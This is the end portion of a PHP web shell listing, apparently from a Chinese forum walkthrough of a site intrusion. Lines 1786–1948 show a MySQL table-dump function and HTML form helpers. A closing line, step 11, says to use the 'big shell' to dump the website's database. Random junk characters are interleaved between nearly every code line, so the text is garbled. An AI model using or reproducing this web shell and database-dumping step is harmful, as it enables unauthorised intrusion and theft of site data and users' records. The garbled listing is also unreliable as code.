1786.         $fields = q("SHOW FIELDS FROM $table");
      6 ?2 p( i! F- h. P% z9 g
1787.         while ($field = mysql_fetch_array($fields)) {
      
1788.                 if (!$firstfield) {
      
1789.                         $tabledump .= ",\n";
      , B0 V% E2 p# C( _  E' U7 [6 p5 U
1790.                 } else {
      ' l/ Y1 A" M+ z, H
1791.                         $firstfield=0;
      * l$ W& f& z  {7 E
1792.                 }
      + z7 z. a# b3 P/ N/ t
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      
1794.                 if (!empty($field["Default"])) {
      ' l# L( P3 ]8 ?% |
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      
1796.                 }
      - k/ m6 |; m! r! E) L
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      - ^  j; U) p1 ~' f
1799.                 }
      
1800.                 if ($field['Extra'] != "") {
      
1801.                         $tabledump .= " $field[Extra]";
      
1802.                 }
      6 Q3 c4 M& ~& n# ^3 G
1803.         }
      + w- \6 _& z4 n3 Q& N
1804.         fr($fields);
      
1805.         $keys = q("SHOW KEYS FROM $table");
      
1806.         while ($key = mysql_fetch_array($keys)) {
      4 f' o$ R( T0 Z
1807.                 $kname=$key['Key_name'];
      
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      5 l3 K: {1 L( R- ]
1809.                         $kname="UNIQUE|$kname";
      . X2 e& d8 c- x8 Y! A; S5 ?. R0 U6 r
1810.                 }
      
1811.                 if(!is_array($index[$kname])) {
      6 t( `' J! I: y4 _4 y( L
1812.                         $index[$kname] = array();
      ! }6 D3 p1 m& B5 D
1813.                 }
      : W0 O9 B* v  r% e1 U! {0 H: \. _  g7 R
1814.                 $index[$kname][] = $key['Column_name'];
      
1815.         }
      
1816.         fr($keys);
      4 n5 y+ i# }/ i) u6 T
1817.         while(list($kname, $columns) = @each($index)) {
      3 c+ A2 k' i5 Z# u9 c/ e
1818.                 $tabledump .= ",\n";
      
1819.                 $colnames=implode($columns,",");
      
1820.                 if ($kname == "PRIMARY") {
      % Z  F9 a: b& |7 m6 u* `
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      
1822.                 } else {
      ; S" P& p) O0 J) o& p
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      
1824.                                 $kname=substr($kname,7);
      3 h0 s3 F3 y4 p3 K) O/ I
1825.                         }
      
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      # |! T# H: J9 f) L. _( K: O3 v
1827.                 }
      
1828.         }
      + t) m: X. L* J  ~& }8 N
1829.         $tabledump .= "\n);\n\n";
      
1830.         if ($fp) {
      
1831.                 fwrite($fp,$tabledump);
      
1832.         } else {
      
1833.                 echo $tabledump;
      # G: c+ K) Y6 h: M
1834.         }
      1 z+ `, ~5 `+ s- S0 d) g8 E2 h
1835.         $rows = q("SELECT * FROM $table");
      4 m% S; m5 A3 R7 e( b
1836.         $numfields = mysql_num_fields($rows);
      
1837.         while ($row = mysql_fetch_array($rows)) {
      
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      - j! L( Q+ K& B) }& X. L
1839.                 $fieldcounter=-1;
      - P/ ~# e3 e6 c" p/ }
1840.                 $firstfield=1;
      
1841.                 while (++$fieldcounter<$numfields) {
      
1842.                         if (!$firstfield) {
      
1843.                                 $tabledump.=", ";
      
1844.                         } else {
      
1845.                                 $firstfield=0;
      ) g: D, `, \6 g) f/ k+ O7 {
1846.                         }
        k. y. i  R( K2 g" W5 U' G+ _
1847.                         if (!isset($row[$fieldcounter])) {
      
1848.                                 $tabledump .= "NULL";
      
1849.                         } else {
      * o" c* {) ~, X, K* W" t% o$ h
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      # @, e8 E$ Y% y; A
1851.                         }
      
1852.                 }
      ! M  Y7 f: O/ o7 f  Z* w
1853.                 $tabledump .= ");\n";
      9 D6 S* t8 {7 O) n
1854.                 if ($fp) {
      
1855.                         fwrite($fp,$tabledump);
      # N! I, D7 H6 ^
1856.                 } else {
      9 F" O, y5 ]0 L
1857.                         echo $tabledump;
      
1858.                 }
      
1859.         }
      
1860.         fr($rows);
      
1861.         if ($fp) {
      
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      + ]1 x' h" q5 O3 n2 c
1864.                 echo "\n";
      
1865.         }
      
1866. }
      " i7 u- f' J8 ]8 P# P8 y+ W  Y
1867. function ue($str){
      
1868.         return urlencode($str);
      9 I) S- j4 w# ]
1869. }
      ) i' N+ E- T1 p. a6 g
1870. function p($str){
      
1871.         echo $str."\n";
      
1872. }
      
1873. function tbhead() {
      $ n$ w7 A, V9 _# F
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      
1875. }
      
1876. function tbfoot(){
      3 s/ O9 t4 ^, u3 N8 E+ t
1877.         p('</table>');
      
1878. }
      ' w! o* m1 ]8 {3 g, ?3 v0 P! m
1879. function makehide($name,$value=''){
        P. f3 P+ k% S9 i% q" G1 o& J8 K3 ^
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      0 }4 ~6 V: Q- z
1881. }
      
1882. function makeinput($arg = array()){
      / N  P# F- n* _6 W/ h
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      $ X& d5 U0 d, e% D( X3 @5 v* Z
1885.         !$arg['type'] && $arg['type'] = 'text';
      
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      
1888.         if ($arg['newline']) {
      
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      + d7 G0 C6 h: U5 E
1890.         } else {
      
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      
1892.         }
      $ W. S4 Q, M, t' l$ m0 Q% H8 K, A) {
1893. }
      
1894. function makeselect($arg = array()){
      
1895.         if ($arg['onchange']) {
      * l3 V* [: Q, G5 f( R. ?
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      
1897.         }
      1 e1 V* G9 s2 o+ q. M2 [$ @' o8 E9 N
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      / F7 I' i' B! {$ h' h  x
1899.         if ($arg['newline']) p('<p>');
      0 t6 l: y- @% V! v
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      
1901.                 if (is_array($arg['option'])) {
      ; q( }; ~9 V5 S; J* {7 ^! y# y
1902.                         foreach ($arg['option'] as $key=>$value) {
      
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      
1905.                                 } else {
      ( v. Y9 c. f0 C, _, V" O( z
1906.                                         p("<option value="$key">$value</option>");
        R  V* f& V: s9 K" |" `# J
1907.                                 }
      
1908.                         }
      0 v7 j( L2 ?& |# b. s
1909.                 }
      ' q! \8 `3 \; `' P# W  C
1910.         p("</select>");
      1 q" l. D$ o! B9 A' T
1911.         if ($arg['newline']) p('</p>');
      
1912. }
      
1913. function formhead($arg = array()) {
      
1914.         !$arg['method'] && $arg['method'] = 'post';
      
1915.         !$arg['action'] && $arg['action'] = $self;
      
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      
1917.         !$arg['name'] && $arg['name'] = 'form1';
      
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      9 `# g% c, R: R0 Y' s
1919.         if ($arg['title']) {
      + Z" y3 g+ }7 U8 X/ W! t
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      
1921.         }
      $ E, }: R8 Q+ Q$ {
1922. }
      : H. K2 @2 y7 q% g
1923.        
      , s% j1 P) K0 W. ^, {
1924. function maketext($arg = array()){
      & H9 r. F) {4 v! A* A# ~2 Y
1925.         !$arg['cols'] && $arg['cols'] = 100;
      : l/ o  p8 v0 z2 [
1926.         !$arg['rows'] && $arg['rows'] = 25;
      - T5 A- K6 c1 U6 R  c# z' x
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      
1929. }
      5 t/ V7 |7 L& q3 `
1930. 
      
1931. function formfooter($name = ''){
      % g2 d- y; P3 [. l
1932.         !$name && $name = 'submit';
      4 l/ q' o; a. a
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      
1934.         p('</form>');
      
1935. }
      2 ~) C. ~# d" P0 c* o
1936. 
      8 K. [/ D9 G6 E4 q* d, d  Y+ p: P) r7 t
1937. function formfoot(){
      
1938.         p('</form>');
      3 e/ O" u" S- m- t
1939. }
      & j  D) X. Z& P  v% `
1940. 
      
1941. // 调试函数
      
1942. function pr($a) {
      
1943.         echo '<pre>';
      5 X1 O$ h* A. E9 m) f
1944.         print_r($a);
        _: |- \. ]* O6 j+ ~! c0 B7 i/ P
1945.         echo '</pre>';
      
1946. }
      " b" q8 X4 b4 g
1947. 
      ' b" G- z# f2 e5 A
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库
( l- ?1 @- h  F! L

; z  y4 m1 E6 V0 V3 @